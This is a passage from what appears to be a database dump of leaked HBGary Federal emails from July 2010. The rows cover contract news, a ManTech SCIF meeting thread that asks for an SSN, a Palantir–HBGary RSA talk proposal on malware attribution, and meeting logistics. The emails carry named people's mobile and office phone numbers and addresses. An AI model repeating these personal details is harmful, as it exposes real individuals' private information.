Inc.\r\n>\r\n>\r\n',6611,'aaron_hbgary_com/6611.html'),(8232,'2010-07-06','\"Thompson, Bill M.\" <Bill.Thompson@gd-ais.com>','/aaron@hbgary.com/new/1297006417.M414151P14101Q3087.eml','\"Ted Vera\" <ted@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>,,,','bad news','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHi Ted,\r\n&nbsp;\r\nTo our dismay, the Task B customer decided not to fund the follow on to your as well as our project.\r\n&nbsp;\r\nWe really appreciated all of the support from you guys and as the cliché goes, I consider this a temporary set-back and we hope to be working with you guys again in the near future.\r\n&nbsp;\r\nPlease thank the rest of the team for all their hard work. \r\n&nbsp;\r\nAll the best,\r\nBill\r\n&nbsp;\r\n\r\n\r\n\r\n',15875,'aaron_hbgary_com/15875.html'),(8233,'2010-07-06','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297006417.M699263P14101Q3088.eml','\"Barr Aaron\" <aaron@hbgary.com>,\"Mark Trynor\" <mark@hbgary.com>,\"Penny Leavy-Hoglund\" <penny@hbgary.com>','Fwd: bad news','Begin forwarded message:From: &quot;Thompson, Bill M.&quot; &lt;Bill.Thompson@gd-ais.com&gt;\r\nDate: July 6, 2010 11:45:38 AM MDTTo: Ted Vera &lt;ted@hbgary.com&gt;Cc: &quot;Spiller, John F.&quot; &lt;John.Spiller@gd-ais.com&gt;, Martin Pillion &lt;martin@hbgary.com&gt;, &#39;Aaron Barr&#39; &lt;aaron@hbgary.com&gt;, &quot;mark@hbgary.com&quot; &lt;mark@hbgary.com&gt;\r\nSubject: bad news\r\n\r\nHi Ted,\r\n \r\nTo our dismay, the Task B customer decided not to fund the follow on to your as well as our project.\r\n \r\nWe really appreciated all of the support from you guys and as the cliché goes, I consider this a temporary set-back and we hope to be working with you guys again in the near future.\r\n \r\nPlease thank the rest of the team for all their hard work. \r\n \r\nAll the best,\r\nBill\r\n \r\n\r\n\r\n\r\n\r\n',16457,'aaron_hbgary_com/16457.html'),(8234,'2010-07-06','\"LinkedIn Connections\" <connections@linkedin.com>','/aaron@hbgary.com/new/1297006417.M958502P14101Q3089.eml','\"Aaron Barr\" <aaron@hbgary.com>','Dan Ingevaldson has accepted your LinkedIn invitation','\r\n\r\n  \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nInvitation Accepted\r\n\r\n\r\n&nbsp;\r\n\r\nCongratulations! You and Dan are now connected.\r\n\r\n \r\n   \r\n   View Dan\'s profile to:\r\n     \r\n       Download Dan\'s current contact information\r\n       Write a recommendation for Dan\r\n       Find opportunities through Dan\'s network\r\n       See who you know in common\r\n     \r\n   &nbsp;\r\n   \r\n   Continue building your network:Every person you connect with builds value for you and all your connections.\r\n \r\n\r\n\r\n&nbsp;\r\n&nbsp;\r\n If these links are not working, you can paste the following address into your browser: http://www.linkedin.com/e/-nennfn-gbb228li-5a/fpf/1906221/EML-inv-acc-prof/ Thank you for using LinkedIn! -- The LinkedIn Team\r\nhttp://www.linkedin.com/\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&copy; 2010, LinkedIn Corporation\r\n\r\n\r\n\r\n',8459,'aaron_hbgary_com/8459.html'),(8235,'2010-07-06','\"Burnette, Donna M\" <Donna.Burnette@ManTech.com>','/aaron@hbgary.com/new/1297006418.M247189P14101Q3090.eml','aaron@hbgary.com','FW: SCIF Mtg at 3:30 tomorrow','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nHello\r\nMr. Barr,\r\n\r\n&nbsp;\r\n\r\nI\r\nhave just learned that our security department will need your social security\r\nnumber to accommodate tomorrow&#8217;s meeting in our SCIF. Would you mind\r\ncontacting our FSO, Linda Thompson and providing her with that information?\r\nAlternatively you may also give me a call if you prefer that route. &nbsp;Ms.\r\nThompson can be reached at 703-610-9295 or via email at linda.thompson@mantech.com.&nbsp;\r\nI may be reached at 703.485.8009.\r\n\r\n&nbsp;\r\n\r\nKind\r\nregards,\r\n\r\nDonna\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nDonna\r\nM Burnette\r\n\r\nExecutive\r\nAssistant to \r\n\r\nRobert\r\nFrisbie, SVP Operations &amp; Security\r\n\r\nManTech International Corporation\r\n\r\nMission,\r\nCyber &amp; Technology Solutions Group\r\n\r\n7799\r\nLeesburg Pike\r\n\r\nSuite\r\n700, South Tower\r\n\r\nFalls\r\nChurch, VA 22043\r\n\r\nP:\r\n703.485.8009\r\n\r\nM:\r\n571.251.3949\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Thompson, Linda L \r\nSent: Tuesday, July 06, 2010 1:40 PM\r\nTo: Burnette, Donna M\r\nSubject: RE: SCIF Mtg at 3:30 tomorrow\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nThanks for letting us know\r\n&#8211; do you know if &nbsp;Mr. Barr &nbsp;will be sending a visit cert or do\r\nwe have a SSN so we can check our databases to verify his clearance/accesses?\r\n\r\nLT\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nLinda Thompson\r\n\r\nSecurity Manager, FSO\r\n\r\nManTech International\r\nCorporation\r\n\r\nMission, Cyber, and Technology\r\nSolutions Group\r\n\r\nPhone: 703-610-9295\r\n\r\nBlackBerry: 703-587-6729\r\n\r\nFax: 703-847-0996\r\n\r\nemail:\r\nlinda.thompson@mantech.com\r\n\r\n&nbsp;\r\n\r\n**PROPRIETARY &amp; Company Confidential**\r\n\r\n&nbsp;\r\n\r\nThis email and the contents of this email (including any\r\nattachments) are company-confidential and/or proprietary.&nbsp; Unless you are\r\nthe addressee (or authorized to receive for the addressee), you may not use,\r\ncopy, disclose or distribute this email or any of the contents of this\r\nemail.&nbsp; If you received this email in error, please promptly notify the\r\nsender by reply email and delete this email from your records.&nbsp; Thank you.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Burnette, Donna M \r\nSent: Tuesday, July 06, 2010 1:10 PM\r\nTo: Thompson, Linda L\r\nSubject: RE: SCIF Mtg at 3:30 tomorrow\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nThanks,\r\nI blocked it accordingly.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nDonna\r\nM Burnette\r\n\r\nExecutive\r\nAssistant to \r\n\r\nRobert\r\nFrisbie, SVP Operations &amp; Security\r\n\r\nManTech International Corporation\r\n\r\nMission,\r\nCyber &amp; Technology Solutions Group\r\n\r\n7799\r\nLeesburg Pike\r\n\r\nSuite\r\n700, South Tower\r\n\r\nFalls\r\nChurch, VA 22043\r\n\r\nP:\r\n703.485.8009\r\n\r\nM:\r\n571.251.3949\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Thompson, Linda L \r\nSent: Tuesday, July 06, 2010 11:01 AM\r\nTo: Burnette, Donna M\r\nSubject: RE: SCIF Mtg at 3:30 tomorrow\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n10n Large\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nLinda Thompson\r\n\r\nSecurity Manager, FSO\r\n\r\nManTech International\r\nCorporation\r\n\r\nMission, Cyber, and Technology\r\nSolutions Group\r\n\r\nPhone: 703-610-9295\r\n\r\nBlackBerry: 703-587-6729\r\n\r\nFax: 703-847-0996\r\n\r\nemail:\r\nlinda.thompson@mantech.com\r\n\r\n&nbsp;\r\n\r\n**PROPRIETARY &amp; Company Confidential**\r\n\r\n&nbsp;\r\n\r\nThis email and the contents of this email (including any\r\nattachments) are company-confidential and/or proprietary.&nbsp; Unless you are\r\nthe addressee (or authorized to receive for the addressee), you may not use,\r\ncopy, disclose or distribute this email or any of the contents of this\r\nemail.&nbsp; If you received this email in error, please promptly notify the\r\nsender by reply email and delete this email from your records.&nbsp; Thank you.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Burnette, Donna M \r\nSent: Tuesday, July 06, 2010 10:33 AM\r\nTo: Thompson, Linda L\r\nSubject: SCIF Mtg at 3:30 tomorrow\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nHi\r\nLinda,\r\n\r\n&nbsp;\r\n\r\nBob\r\nneeds to use the SCIF tomorrow to meet with Aaron Barr, CEO of HBGary.&nbsp;\r\nPlease let me know what I need to do to block it in the calendar and ensure\r\nthey can access the SCIF.\r\n\r\n&nbsp;\r\n\r\nThanks!\r\n\r\n&nbsp;\r\n\r\nDonna\r\nM Burnette\r\n\r\nExecutive\r\nAssistant to \r\n\r\nRobert\r\nFrisbie, SVP Operations &amp; Security\r\n\r\nManTech International Corporation\r\n\r\nMission,\r\nCyber &amp; Technology Solutions Group\r\n\r\n7799\r\nLeesburg Pike\r\n\r\nSuite\r\n700, South Tower\r\n\r\nFalls\r\nChurch, VA 22043\r\n\r\nP:\r\n703.485.8009\r\n\r\nM:\r\n571.251.3949\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',1961,'aaron_hbgary_com/1961.html'),(8236,'2010-07-06','\"Phil Wallisch\" <phil@hbgary.com>','/aaron@hbgary.com/new/1297006418.M545595P14101Q3091.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: AD Webex','Hey Aaron.  I&#39;m still full-time on Morgan and can&#39;t guarantee I&#39;ll be available.On Tue, Jul 6, 2010 at 11:22 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nHey Guys,\r\n\r\nCan any of you support an AD webex tomorrow for Mantech senior folks @ 2pm?\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n-- Phil Wallisch | Sr. Security Engineer | HBGary, Inc.3604 Fair Oaks Blvd, Suite 250 | Sacramento, CA 95864Cell Phone: 703-655-1208 | Office Phone: 916-459-4727 x 115 | Fax: 916-481-1460\r\nWebsite: http://www.hbgary.com | Email: phil@hbgary.com | Blog:  https://www.hbgary.com/community/phils-blog/\r\n\r\n',9221,'aaron_hbgary_com/9221.html'),(8237,'2010-07-06','\"Geoff Stowe\" <gstowe@palantir.com>','/aaron@hbgary.com/new/1297006418.M852204P14101Q3092.eml','\"Matthew Steckman\" <msteckman@palantir.com>,\"Aaron Barr\" <aaron@hbgary.com>,\"Matthew Steckman\" <msteckman@palantir.com>,\"Aaron Barr\" <aaron@hbgary.com>,','RE: RSA proposal','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nHey Aaron,\r\n\r\n&nbsp;\r\n\r\nThanks for meeting with us today.&nbsp; Here&#8217;s a starting\r\npoint based on what we talked about:\r\n\r\n&nbsp;\r\n\r\nRecent intrusions such as the Aurora incident show that motivated\r\nattackers with time and resources can compromise highly secure networks.&nbsp; Protecting\r\ninformation from this new breed of adaptive adversaries requires tackling an\r\nintelligence problem:&nbsp; who is the adversary, how do they operate, and what\r\ndo they want?\r\n\r\n&nbsp;\r\n\r\nHB Gary will draw on its vast experience analyzing malware to\r\nshow how attackers leave clues to their identity in the tools that they create.&nbsp;\r\nThis talk will focus on real examples of malware&#8230;&nbsp; By bringing\r\ntogether binary disassembly and human-centric data sets inside the Palantir\r\nplatform, the speaker will show how small traces within malware can yield major\r\ninsight into its authors.\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nHope this helps!\r\n\r\n&nbsp;\r\n\r\nGeoff\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Matthew Steckman \r\nSent: Tuesday, July 06, 2010 7:40 AM\r\nTo: Aaron Barr\r\nCc: Geoff Stowe; Eli Bingham; Shreyas Vijaykumar; Aaron Zollman\r\nSubject: RE: RSA proposal\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nAaron,\r\n\r\n&nbsp;\r\n\r\nCan you swing by our office to VTC with Geoff and I at Noon\r\ntoday?&nbsp; Lunch on us of course J\r\n\r\n&nbsp;\r\n\r\n-Matt\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nMatthew Steckman\r\nPalantir Technologies | Forward Deployed Engineer\r\nmsteckman@palantir.com\r\n| 202-257-2270\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Tuesday, July 06, 2010 9:38 AM\r\nTo: Matthew Steckman\r\nCc: Geoff Stowe; Eli Bingham; Shreyas Vijaykumar; Aaron Zollman\r\nSubject: Re: RSA proposal\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nI am good today until about 1pm or tomorrow morning until\r\n1030. &nbsp;Those are my cutoff times to make other meetings. &nbsp;I think\r\nit\'s only a fee paragraphs so we should be able to pull it together pretty\r\nquickly as soon as we have the story.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nI\'ll give u a call.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\nFrom my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Jul 6, 2010, at 8:35 AM, Matthew Steckman &lt;msteckman@palantir.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n&nbsp;\r\n\r\nCall\r\nfor speakers is due this Friday: http://www.rsaconference.com/2011/usa/agenda/call-for-speakers.htm\r\n\r\n&nbsp;\r\n\r\nWith\r\nthe tight deadline might I suggest a VTC either today or tomorrow.&nbsp;\r\nI&#8217;ll host you in Tyson&#8217;s, Palantir can join from Palo Alto, maybe\r\nyou could get a volunteer to drive to Palo Alto from Sacramento (or if they\r\nhave VTC we can dial them in)?\r\n\r\n&nbsp;\r\n\r\nLet\r\nme know what times might work.&nbsp; We should get moving on this as the\r\ndeadline is looming.\r\n\r\n&nbsp;\r\n\r\nThanks,\r\n\r\nMatt\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nMatthew\r\nSteckman\r\nPalantir Technologies | Forward Deployed Engineer\r\nmsteckman@palantir.com\r\n| 202-257-2270\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Monday, July 05, 2010 11:09 PM\r\nTo: Geoff Stowe\r\nCc: Matthew Steckman; Eli Bingham; Shreyas Vijaykumar; Aaron Zollman\r\nSubject: Re: RSA proposal\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nI\r\nthink so. &nbsp;Greg will be releasing at Blackhat this month a new fingerprinting\r\ntool where we can pull out common fingerprint variables from binaries very\r\nquickly. &nbsp;That along with the work we are doing to develop more\r\nsophisticated fingerprints I think we could tell some good stories. &nbsp;Lets\r\nmaybe get together and discuss our options here. &nbsp;We are in the process of\r\nrevamping our interface for the threat monitoring center (TMC) which is our\r\nvolume malware processor which would allow us to go back and repull internals\r\nin large volume fairly quickly as we built out our visuals.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn\r\nJul 2, 2010, at 6:35 PM, Geoff Stowe wrote:\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nJust\r\nwanted to revive this thread.&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n&#8211; do you think there are topics we could collaborate on?&nbsp; When Aaron\r\nZollman and I met with Greg in Sacramento a few months ago, we talked about\r\nthings like looking for common indicators in your massive malware repository,\r\nand doing a deeper dive on some of the malware authors.&nbsp; Either of those\r\ntopics would involve a fair amount of work, but we&#8217;d be willing to do\r\nsome of the heavy lifting on the backend if it would produce some cool results.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Matthew Steckman&nbsp;\r\nSent:&nbsp;Thursday, June 24,\r\n2010 1:45 PM\r\nTo:&nbsp;Aaron Barr\r\nCc:&nbsp;Eli Bingham; Shreyas\r\nVijaykumar; Geoff Stowe; Aaron Zollman\r\nSubject:&nbsp;RSA proposal\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n\r\n\r\n\r\n\r\n\r\nAs we discussed, our proposal is as follows:\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Palantir and HBGary (and maybe SecDev) tag\r\nteam an RSA speakers submission (due July 9 btw) entitled something like,\r\n&#8220;Cyber IS an Intelligence Problem, NOT an IT Problem: Redefining the\r\nProblem Set&#8221; (horrible title I know)\r\n\r\n\r\n\r\n\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;The goal here would be to take a technical\r\nproblem (maybe one of Greg&#8217;s or SecDev&#8217;s pet projects), present the\r\ntechnical findings in Part I of the prezo, then flip gears in Part II to\r\npresent it as an Intelligence problem (using Palantir for the presentation)\r\n\r\n\r\n\r\n\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;We need to be careful to remove all\r\nmarketing language from the submission as they apparently don&#8217;t take\r\nkindly to that\r\n\r\n\r\n\r\n\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;We obviously have a ton of time to do the\r\nwork which could be split between all of us (we could even set up a hosted\r\nPalantir instance to do the research a la Project Grey Goose)\r\n\r\n\r\n\r\n\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;We would want to play up our Intel\r\ncommunity bona fides and your technical prowess/name brand\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nMy 4 colleagues\r\nCCed and myself are basically all of Palantir&#8217;s &#8220;Cyber\r\nTeam&#8221;.&nbsp; I&#8217;ll now open this thread up for comments.&nbsp; If\r\nHBGary is in we can set up a quick brainstorming session.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nBest,\r\n\r\n\r\n\r\n\r\n\r\nMatt\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nMatthew\r\nSteckman\r\nPalantir Technologies | Forward Deployed Engineer\r\nmsteckman@palantir.com&nbsp;| 202-257-2270\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\nBarr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary\r\nFederal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',11319,'aaron_hbgary_com/11319.html'),(8238,'2010-07-06','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006420.M341615P14101Q3093.eml','\"Ted Vera\" <ted@hbgary.com>,\"Mark Trynor\" <mark@hbgary.com>','Social Media Services Marketing Slick','\r\n\r\nHere is most of the content so far.  I still need to fill in the Info Exposure Monitoring and PenTesting piece and put this into inDesign tonight.  Please comment on existing material or add material and send back to me tonight.\r\n\r\nOnce this is done I will get back on the training.  Penny said to get with Deeann and she will start helping to sell the training course.  I think starting tomorrow we need to start selling it as well.  By the time we get the first gig the material will be done.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',5754,'aaron_hbgary_com/5754.html'),(8239,'2010-07-07','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006420.M696494P14101Q3094.eml','\"Eric Eifert\" <eric.eifert@mantech.com>,\"Eric Eifert\" <eric.eifert@mantech.com>','Discussions','Hi Eric,\r\n\r\nA few things I think might be of interest to you, but want to feel you  \r\nout for your interests.\r\n\r\n1. Active Defense is mature and customer deployed, working well for  \r\nus.  Greg is in town and I can have him stop by briefly for a demo of  \r\nAD.  If your interested in a demo of AD by chance is it possible to  \r\nstart 15 minutes early?  Greg has a 3:30 in Crystal City so just want  \r\nto allow for enough time if interest is there, otherwise we can work  \r\nwith what we have.\r\n\r\n2. Work we are doing with Fidelis, Palantir, and SecDev.  I think the  \r\nintegration of Fidelis and Active Defense is particularly interesting.\r\n\r\n3. Social Media business we are building out.\r\n\r\nWith the time we have left we can talk about what we are doing with  \r\nthe Threat Monitoring Center (volume malware processor), and any  \r\nspecific opportunities to work together.\r\n\r\nI have a following meeting with Bob Frisbie in the scif to talk about  \r\nGator Bait and other IO related matters.\r\n\r\nAaron\r\n',15948,'aaron_hbgary_com/15948.html'),(8240,'2010-07-07','\"Rich Cummings\" <rich@hbgary.com>','/aaron@hbgary.com/new/1297006421.M15321P14101Q3095.eml','all@hbgary.com','I\'m taking today as a vacation day','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAll,\r\n\r\n \r\n\r\nI’m taking today as a vacation day.  If you need anything\r\nfrom me please call Joe Pizzo first.  If you can’t reach Joe then please\r\ncall my cell phone at 703-999-5012.\r\n\r\n \r\n\r\nThanks,\r\nRich \r\n\r\n\r\n\r\n\r\n\r\n\r\n',13469,'aaron_hbgary_com/13469.html'),(8241,'2010-07-07','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297006421.M322827P14101Q3096.eml','\"Aaron Barr\" <aaron@hbgary.com>','Need help figuring out ManTech location','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n&nbsp;\r\n\r\nGoogle maps put 7799 Leesburg Pike, FC in a weird spot so I\r\nneed to confirm the location.&nbsp; It shows it being at the end of Ramada Rd which\r\nis off Route 7 (Leesburg Pike) just inside the beltway.&nbsp; Is this right?\r\n\r\n&nbsp;\r\n\r\nBob Slapnik&nbsp; |&nbsp; Vice President&nbsp; |&nbsp; HBGary, Inc.\r\n\r\nOffice 301-652-8885 x104&nbsp; | Mobile 240-481-1419\r\n\r\nwww.hbgary.com&nbsp; |&nbsp; bob@hbgary.com\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',12163,'aaron_hbgary_com/12163.html'),(8242,'2010-07-07','\"andy kemp\" <akemp@apple.com>','/aaron@hbgary.com/new/1297006421.M593597P14101Q3097.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Meeting','What address ? \r\n\r\nAndy Kemp\r\n\r\nApple Inc.\r\n2409883476\r\nSent from iPhone \r\n\r\nOn Jun 10, 2010, at 4:53 PM, Aaron Barr  wrote:\r\n\r\n> Hey Andy,\r\n> \r\n> Good to talk to you today.\r\n> \r\n> My last morning meeting in Chantilly ends at 12:30 and next meeting is a webex at 2pm, so I could head to your place, be there around 1pm?\r\n> \r\n> Let me know if that works.\r\n> \r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n> \r\n',5066,'aaron_hbgary_com/5066.html'),(8243,'2010-07-07','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006421.M865586P14101Q3098.eml','\"andy kemp\" <akemp@apple.com>','Re: Meeting','Starbucks\r\n8381 Leesburg Pike\r\nVienna? VA\r\nUnited States\r\n\r\nSorry thought I sent it.  We can talk about some of the aspects of the program and then followup with a acid visit with the prime.\r\n\r\nAaron\r\n\r\nSent from my iPhone\r\n\r\nOn Jul 7, 2010, at 7:52 AM, andy kemp  wrote:\r\n\r\n> What address ? \r\n> \r\n> Andy Kemp\r\n> \r\n> Apple Inc.\r\n> 2409883476\r\n> Sent from iPhone \r\n> \r\n> On Jun 10, 2010, at 4:53 PM, Aaron Barr  wrote:\r\n> \r\n>> Hey Andy,\r\n>> \r\n>> Good to talk to you today.\r\n>> \r\n>> My last morning meeting in Chantilly ends at 12:30 and next meeting is a webex at 2pm, so I could head to your place, be there around 1pm?\r\n>> \r\n>> Let me know if that works.\r\n>> \r\n>> Aaron Barr\r\n>> CEO\r\n>> HBGary Federal Inc.\r\n>> \r\n',10773,'aaron_hbgary_com/10773.html'),(8244,'2010-07-07','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006422.M97421P14101Q3099.eml','\"Bob Slapnik\" <bob@hbgary.com>','Re: Need help figuring out ManTech location','Yep. &nbsp;Look at the directions carefully as it\'s a weird way to get there.Sent from my iPhoneOn Jul 7, 2010, at 7:32 AM, \"Bob Slapnik\" &lt;bob@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\nAaron,\r\n\r\n&nbsp;\r\n\r\nGoogle maps put 7799 Leesburg Pike, FC in a weird spot so I\r\nneed to confirm the location.&nbsp; It shows it being at the end of Ramada Rd which\r\nis off Route 7 (Leesburg Pike) just inside the beltway.&nbsp; Is this right?\r\n\r\n&nbsp;\r\n\r\nBob Slapnik&nbsp; |&nbsp; Vice President&nbsp; |&nbsp; HBGary, Inc.\r\n\r\nOffice 301-652-8885 x104&nbsp; | Mobile 240-481-1419\r\n\r\nwww.hbgary.com&nbsp; |&nbsp; bob@hbgary.com\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',5463,'aaron_hbgary_com/5463.html'),(8245,'2010-07-07','\"andy kemp\" <akemp@apple.com>','/aaron@hbgary.com/new/1297006427.M831705P14101Q3100.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Meeting','I\'m here, sitting outside working\r\n\r\n\r\nOn Jul 7, 2010, at 8:03 AM, Aaron Barr wrote:\r\n\r\n> Starbucks\r\n> 8381 Leesburg Pike\r\n> Vienna? VA\r\n> United States\r\n>\r\n> Sorry thought I sent it.  We can talk about some of the aspects of  \r\n> the program and then followup with a acid visit with the prime.\r\n>\r\n> Aaron\r\n>\r\n> Sent from my iPhone\r\n>\r\n> On Jul 7, 2010, at 7:52 AM, andy kemp  wrote:\r\n>\r\n>> What address ?\r\n>>\r\n>> Andy Kemp\r\n>>\r\n>> Apple Inc.\r\n>> 2409883476\r\n>> Sent from iPhone\r\n>>\r\n>> On Jun 10, 2010, at 4:53 PM, Aaron Barr  wrote:\r\n>>\r\n>>> Hey Andy,\r\n>>>\r\n>>> Good to talk to you today.\r\n>>>\r\n>>> My last morning meeting in Chantilly ends at 12:30 and next  \r\n>>> meeting is a webex at 2pm, so I could head to your place, be there  \r\n>>> around 1pm?\r\n>>>\r\n>>> Let me know if that works.\r\n>>>\r\n>>> Aaron Barr\r\n>>> CEO\r\n>>> HBGary Federal Inc.\r\n>>>\r\n\r\nAndy Kemp\r\nHomeland Defense / National Programs\r\n\r\nApple Inc.\r\n11921 Freedom Drive\r\nSuite 600\r\nReston, Virginia\r\n20194\r\n\r\nakemp@apple.com\r\n240-988-3476\r\n\r\n\r\n\r\n\r\n\r\n',10500,'aaron_hbgary_com/10500.html'),(8246,'2010-07-07','\"Google Calendar\" <calendar-notification@google.com>','/aaron@hbgary.com/new/1297006428.M144926P14101Q3101.eml','\"Aaron Barr\" <aaron@hbgary.com>','Reminder: Lunch: Aaron Barr/Tom Conroy @ Wed Jul 7 11:30am - 1pm 	(aaron@hbgary.com)',' more details &raquo;Lunch: Aaron Barr/Tom ConroyWhenWed Jul 7 11:30am – 1pm Eastern TimeWhereMcCormick and Schmicks - 8484 Westpark Drive, #130  McLean, VA  22102  (703) 848-8000 (map)Calendaraaron@hbgary.comWho&#x2022;tom.conroy@ngc.com - organizer&#x2022;aaron@hbgary.comGoing?&nbsp;&nbsp;&nbsp;Yes - Maybe - No&nbsp;&nbsp;&nbsp;&nbsp;more options &raquo;Invitation from Google CalendarYou are receiving this email at the account aaron@hbgary.com because you are subscribed for reminders on calendar aaron@hbgary.com.To stop receiving these notifications, please log in to https://www.google.com/calendar/hosted/hbgary.com/ and change your notification settings for this calendar.',14136,'aaron_hbgary_com/14136.html'),(8247,'2010-07-07','\"Maria Lucas\" <maria@hbgary.com>','/aaron@hbgary.com/new/1297006428.M603496P14101Q3102.eml','\"Penny C. Hoglund\" <penny@hbgary.com>,\"Rich Cummings\" <rich@hbgary.com>,\"Penny C. Hoglund\" <penny@hbgary.com>,\"Rich Cummings\" <rich@hbgary.com>,','EOP-- Executive Office of the President Pilot is moving forward','Contact\r\nBrian Christos - lead for malware analysis at EOP  and is a contractor for CloudBurst\r\n \r\nProducts\r\nBrian has approval for (1) Responder Pro and it is in the procurement cycle..... he would like to have a long term evaluation copy in the meantime... same drill as TSA.. and gain some experience\r\n \r\nPilot Opportunity\r\nBrian has agreed to an Active Defense Pilot in August -- we cannot charge for the Pilot\r\nConference call scheduled August 3rd with Rich to outline scope of Pilot\r\nBrian 